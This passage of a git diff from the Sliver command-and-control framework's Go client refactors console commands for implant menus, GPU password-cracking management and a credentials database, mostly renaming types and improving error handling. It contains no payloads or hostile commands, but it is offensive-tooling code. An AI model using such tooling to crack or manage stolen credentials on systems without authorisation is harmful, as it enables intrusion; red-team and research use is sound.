Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os" + + "github.com/reeflective/console" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/command/reaction" + client "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Command returns the closed-loop Sliver console command. +// +// The latter requires only the set of "server" commands, that is, all commands that +// do not require an active target to run on. This is only because sliver-client/server +// binaries are distinct, and the implant command tree does not care about this, so it +// is always the same in the console. +func Command(con *client.SliverClient, serverCmds console.Commands) *cobra.Command { + consoleCmd := &cobra.Command{ + Use: "console", + Short: "Start the sliver client console", + GroupID: consts.GenericHelpGroup, + RunE: func(cmd *cobra.Command, args []string) error { + + // Bind commands to the closed-loop console. + server := con.App.Menu(consts.ServerMenu) + server.SetCommands(serverCmds) + + sliver := con.App.Menu(consts.ImplantMenu) + sliver.SetCommands(command.SliverCommands(con)) + + // Reactions + n, err := reaction.LoadReactions() + if err != nil && !os.IsNotExist(err) { + con.PrintErrorf("Failed to load reactions: %s\n", err) + } else if n > 0 { + con.PrintInfof("Loaded %d reaction(s) from disk\n", n) + } + + // Start the console, blocking until player exit. + return con.StartConsole() + }, + } + + return consoleCmd +} diff --git a/client/command/crack/commands.go b/client/command/crack/commands.go new file mode 100644 index 0000000000..7fc4e08df0 --- /dev/null +++ b/client/command/crack/commands.go @@ -0,0 +1,143 @@ +package crack + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + crackCmd := &cobra.Command{ + Use: consts.CrackStr, + Short: "Crack: GPU password cracking", + Long: help.GetHelpFor([]string{consts.CrackStr}), + GroupID: consts.GenericHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + CrackCmd(cmd, con, args) + }, + } + flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + crackStationsCmd := &cobra.Command{ + Use: consts.StationsStr, + Short: "Manage crackstations", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackStationsCmd(cmd, con, args) + }, + } + crackCmd.AddCommand(crackStationsCmd) + + wordlistsCmd := &cobra.Command{ + Use: consts.WordlistsStr, + Short: "Manage wordlists", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackWordlistsCmd(cmd, con, args) + }, + } + crackCmd.AddCommand(wordlistsCmd) + + wordlistsAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a wordlist", + Run: func(cmd *cobra.Command, args []string) { + CrackWordlistsAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, wordlistsAddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "wordlist name (blank = filename)") + }) + carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file")) + wordlistsCmd.AddCommand(wordlistsAddCmd) + + wordlistsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a wordlist", + Run: func(cmd *cobra.Command, args []string) { + CrackWordlistsRmCmd(cmd, con, args) + }, + } + wordlistsCmd.AddCommand(wordlistsRmCmd) + carapace.Gen(wordlistsRmCmd).PositionalCompletion(CrackWordlistCompleter(con).Usage("wordlist to remove")) + + rulesCmd := &cobra.Command{ + Use: consts.RulesStr, + Short: "Manage rule files", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackRulesCmd(cmd, con, args) + }, + } + crackCmd.AddCommand(rulesCmd) + + rulesAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a rules file", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackRulesAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, rulesAddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "rules name (blank = filename)") + }) + carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file")) + rulesCmd.AddCommand(rulesAddCmd) + + rulesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove rules", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackRulesRmCmd(cmd, con, args) + }, + } + carapace.Gen(rulesRmCmd).PositionalCompletion(CrackRulesCompleter(con).Usage("rules to remove")) + rulesCmd.AddCommand(rulesRmCmd) + + hcstat2Cmd := &cobra.Command{ + Use: consts.Hcstat2Str, + Short: "Manage markov hcstat2 files", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}), + Run: func(cmd *cobra.Command, args []string) { + CrackHcstat2Cmd(cmd, con, args) + }, + } + crackCmd.AddCommand(hcstat2Cmd) + + hcstat2AddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a hcstat2 file", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackHcstat2AddCmd(cmd, con, args) + }, + } + flags.Bind("", false, hcstat2AddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "hcstat2 name (blank = filename)") + }) + carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file")) + hcstat2Cmd.AddCommand(hcstat2AddCmd) + + hcstat2RmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove hcstat2 file", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackHcstat2RmCmd(cmd, con, args) + }, + } + carapace.Gen(hcstat2RmCmd).PositionalCompletion(CrackHcstat2Completer(con).Usage("hcstat2 to remove")) + hcstat2Cmd.AddCommand(hcstat2RmCmd) + + return []*cobra.Command{crackCmd} +} diff --git a/client/command/crack/crack-files.go b/client/command/crack/crack-files.go index cd7af7c7cd..92425d4f77 100644 --- a/client/command/crack/crack-files.go +++ b/client/command/crack/crack-files.go @@ -35,11 +35,11 @@ import ( "github.com/bishopfox/sliver/util" ) -// CrackWordlistsCmd - Manage GPU cracking stations -func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackWordlistsCmd - Manage GPU cracking stations. +func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(wordlists.Files) == 0 { @@ -55,11 +55,11 @@ func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } } -// CrackRulesCmd - Manage GPU cracking stations -func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackRulesCmd - Manage GPU cracking stations. +func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(rules.Files) == 0 { @@ -75,11 +75,11 @@ func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } } -// CrackHcstat2Cmd - Manage GPU cracking stations -func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackHcstat2Cmd - Manage GPU cracking stations. +func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(hcstat2.Files) == 0 { @@ -95,9 +95,10 @@ func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) { +func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Name", "Size"}) for _, file := range crackFiles.Files { tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)}) @@ -105,20 +106,23 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsole con.Printf("%s\n", tw.Render()) } -func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) { +func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { wordlistTable := table.NewWriter() wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal) wordlistTable.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(wordlistTable) wordlistTable.AppendHeader(table.Row{"Name", "Size"}) rulesTable := table.NewWriter() rulesTable.SetTitle(console.Bold + "Rules" + console.Normal) rulesTable.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(rulesTable) rulesTable.AppendHeader(table.Row{"Name", "Size"}) hcTable := table.NewWriter() hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal) hcTable.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(hcTable) hcTable.AppendHeader(table.Row{"Name", "Size"}) wordlists := 0 @@ -162,8 +166,8 @@ func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverC ) } -// CrackWordlistsAddCmd - Manage GPU cracking stations -func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackWordlistsAddCmd - Manage GPU cracking stations. +func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") var localPath string @@ -196,7 +200,7 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, IsCompressed: true, }) if err != nil { - con.PrintErrorf("Failed to create file: %s\n", err) + con.PrintErrorf("Failed to create file: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n", @@ -206,8 +210,8 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, addCrackFile(wordlist, crackFile, con) } -// CrackRulesAddCmd - add a rules file -func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackRulesAddCmd - add a rules file. +func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") var localPath string @@ -240,7 +244,7 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args IsCompressed: true, }) if err != nil { - con.PrintErrorf("Failed to create file: %s\n", err) + con.PrintErrorf("Failed to create file: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n", @@ -250,8 +254,8 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args addCrackFile(rules, crackFile, con) } -// CrackHcstat2AddCmd - add a hcstat2 file -func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackHcstat2AddCmd - add a hcstat2 file. +func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") var localPath string @@ -284,7 +288,7 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar IsCompressed: true, }) if err != nil { - con.PrintErrorf("Failed to create file: %s\n", err) + con.PrintErrorf("Failed to create file: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n", @@ -294,7 +298,7 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar addCrackFile(hcstat2, crackFile, con) } -func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) { +func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverClient) { digest := sha256.New() wordlistReader := io.TeeReader(localFile, digest) @@ -321,7 +325,7 @@ func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *consol }) n++ if err != nil { - errors = append(errors, err) + errors = append(errors, con.UnwrapServerErr(err)) continue } } @@ -341,7 +345,7 @@ func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *consol Sha2_256: hex.EncodeToString(digest.Sum(nil)), }) if err != nil { - con.PrintErrorf("Failed to complete file upload: %s\n", err) + con.PrintErrorf("Failed to complete file upload: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total)) @@ -402,8 +406,8 @@ func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error return chunkBuf[:n], nil } -// CrackWordlistsRmCmd - Manage GPU cracking stations -func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackWordlistsRmCmd - Manage GPU cracking stations. +func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var wordlistName string if len(args) > 0 { wordlistName = args[0] @@ -414,7 +418,7 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } found := false @@ -423,7 +427,7 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a found = true _, err := con.Rpc.CrackFileDelete(context.Background(), wordlist) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } break @@ -436,8 +440,8 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } } -// CrackRulesRmCmd - Manage GPU cracking stations -func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackRulesRmCmd - Manage GPU cracking stations. +func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var rulesName string if len(args) > 0 { rulesName = args[0] @@ -448,7 +452,7 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } found := false @@ -457,7 +461,7 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args found = true _, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } break @@ -470,8 +474,8 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -// CrackHcstat2RmCmd - remove a hcstat2 file -func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackHcstat2RmCmd - remove a hcstat2 file. +func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var hcstat2Name string if len(args) > 0 { hcstat2Name = args[0] @@ -482,7 +486,7 @@ func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } found := false @@ -491,7 +495,7 @@ func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg found = true _, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } break diff --git a/client/command/crack/crack.go b/client/command/crack/crack.go index 829933e132..b2d077ed76 100644 --- a/client/command/crack/crack.go +++ b/client/command/crack/crack.go @@ -32,21 +32,21 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// CrackCmd - GPU password cracking interface -func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackCmd - GPU password cracking interface. +func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if !AreCrackersOnline(con) { PrintNoCrackstations(con) } else { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations)) } crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(crackFiles.Files) == 0 { @@ -57,11 +57,11 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } } -// CrackStationsCmd - Manage GPU cracking stations -func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackStationsCmd - Manage GPU cracking stations. +func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(crackers.Crackstations) == 0 { @@ -71,11 +71,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func PrintNoCrackstations(con *console.SliverConsoleClient) { +func PrintNoCrackstations(con *console.SliverClient) { con.PrintInfof("No crackstations connected to server\n") } -func AreCrackersOnline(con *console.SliverConsoleClient) bool { +func AreCrackersOnline(con *console.SliverClient) bool { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { return false @@ -83,7 +83,7 @@ func AreCrackersOnline(con *console.SliverConsoleClient) bool { return len(crackers.Crackstations) > 0 } -func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) { +func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) { sort.Slice(crackers, func(i, j int) bool { return crackers[i].Name < crackers[j].Name }) @@ -96,7 +96,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsole } } -func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) { +func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n") @@ -135,11 +135,12 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver printBenchmarks(cracker, con) } -func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) { +func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Benchmarks" + console.Normal) tw.SortBy([]table.SortBy{{Name: "Hash Type"}}) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"}) for hashType, speed := range cracker.Benchmarks { tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)}) diff --git a/client/command/crack/helpers.go b/client/command/crack/helpers.go index a5409a2637..026da296e9 100644 --- a/client/command/crack/helpers.go +++ b/client/command/crack/helpers.go @@ -5,16 +5,21 @@ import ( "fmt" "time" + "github.com/rsteube/carapace" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/rsteube/carapace" ) -func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action { +func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) + return carapace.ActionMessage("failed to fetch crack files: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) @@ -33,11 +38,15 @@ func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action { }) } -func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action { +func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) + return carapace.ActionMessage("failed to fetch crack files: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) @@ -57,11 +66,15 @@ func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action { }) } -func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action { +func CrackRulesCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) + return carapace.ActionMessage("failed to fetch crack files: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) diff --git a/client/command/creds/add.go b/client/command/creds/add.go index 3f7e4352e7..373860d168 100644 --- a/client/command/creds/add.go +++ b/client/command/creds/add.go @@ -25,10 +25,11 @@ import ( "strconv" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) const ( @@ -37,8 +38,8 @@ const ( CSVFormat = "csv" // username,hash\n ) -// CredsCmd - Add new credentials -func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CredsCmd - Add new credentials. +func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { collection, _ := cmd.Flags().GetString("collection") username, _ := cmd.Flags().GetString("username") plaintext, _ := cmd.Flags().GetString("plaintext") @@ -65,19 +66,19 @@ func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st }, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintCreds(creds.Credentials, con) } -// CredsCmd - Add new credentials -func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CredsCmd - Add new credentials. +func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { collection, _ := cmd.Flags().GetString("collection") filePath := args[0] fileFormat, _ := cmd.Flags().GetString("file-format") @@ -116,12 +117,12 @@ func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials)) _, err = con.Rpc.CredsAdd(context.Background(), creds) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintCreds(creds.Credentials, con) diff --git a/client/command/creds/commands.go b/client/command/creds/commands.go new file mode 100644 index 0000000000..0a2d734de4 --- /dev/null +++ b/client/command/creds/commands.go @@ -0,0 +1,84 @@ +package creds + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + credsCmd := &cobra.Command{ + Use: consts.CredsStr, + Short: "Manage the database of credentials", + Long: help.GetHelpFor([]string{consts.CredsStr}), + GroupID: consts.GenericHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + CredsCmd(cmd, con, args) + }, + } + flags.Bind("creds", true, credsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + credsAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a credential to the database", + Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + CredsAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, credsAddCmd, func(f *pflag.FlagSet) { + f.StringP("collection", "c", "", "name of collection") + f.StringP("username", "u", "", "username for the credential") + f.StringP("plaintext", "p", "", "plaintext for the credential") + f.StringP("hash", "P", "", "hash of the credential") + f.StringP("hash-type", "H", "", "hash type of the credential") + }) + completers.NewFlagCompsFor(credsAddCmd, func(comp *carapace.ActionMap) { + (*comp)["hash-type"] = CredsHashTypeCompleter(con) + }) + credsCmd.AddCommand(credsAddCmd) + + credsAddFileCmd := &cobra.Command{ + Use: consts.FileStr, + Short: "Add a credential to the database", + Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + CredsAddHashFileCmd(cmd, con, args) + }, + } + flags.Bind("", false, credsAddFileCmd, func(f *pflag.FlagSet) { + f.StringP("collection", "c", "", "name of collection") + f.StringP("file-format", "F", HashNewlineFormat, "file format of the credential file") + f.StringP("hash-type", "H", "", "hash type of the credential") + }) + completers.NewFlagCompsFor(credsAddFileCmd, func(comp *carapace.ActionMap) { + (*comp)["collection"] = CredsCollectionCompleter(con) + (*comp)["file-format"] = CredsHashFileFormatCompleter(con) + (*comp)["hash-type"] = CredsHashTypeCompleter(con) + }) + carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file")) + credsAddCmd.AddCommand(credsAddFileCmd) + + credsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a credential to the database", + Long: help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + CredsRmCmd(cmd, con, args) + }, + } + carapace.Gen(credsRmCmd).PositionalCompletion(CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)")) + credsCmd.AddCommand(credsRmCmd) + + return []*cobra.Command{credsCmd} +} diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 73cc5e70b3..0ab3063f81 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -33,11 +33,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// CredsCmd - Manage credentials -func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CredsCmd - Manage credentials. +func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(creds.Credentials) == 0 { @@ -47,7 +47,7 @@ func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin PrintCreds(creds.Credentials, con) } -func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) { +func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) { collections := make(map[string][]*clientpb.Credential) for _, cred := range creds { collections[cred.Collection] = append(collections[cred.Collection], cred) @@ -58,9 +58,10 @@ func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) } } -func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) { +func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) if collection != "" { tw.SetTitle(console.Bold + collection + console.Normal) } else { @@ -88,7 +89,7 @@ func 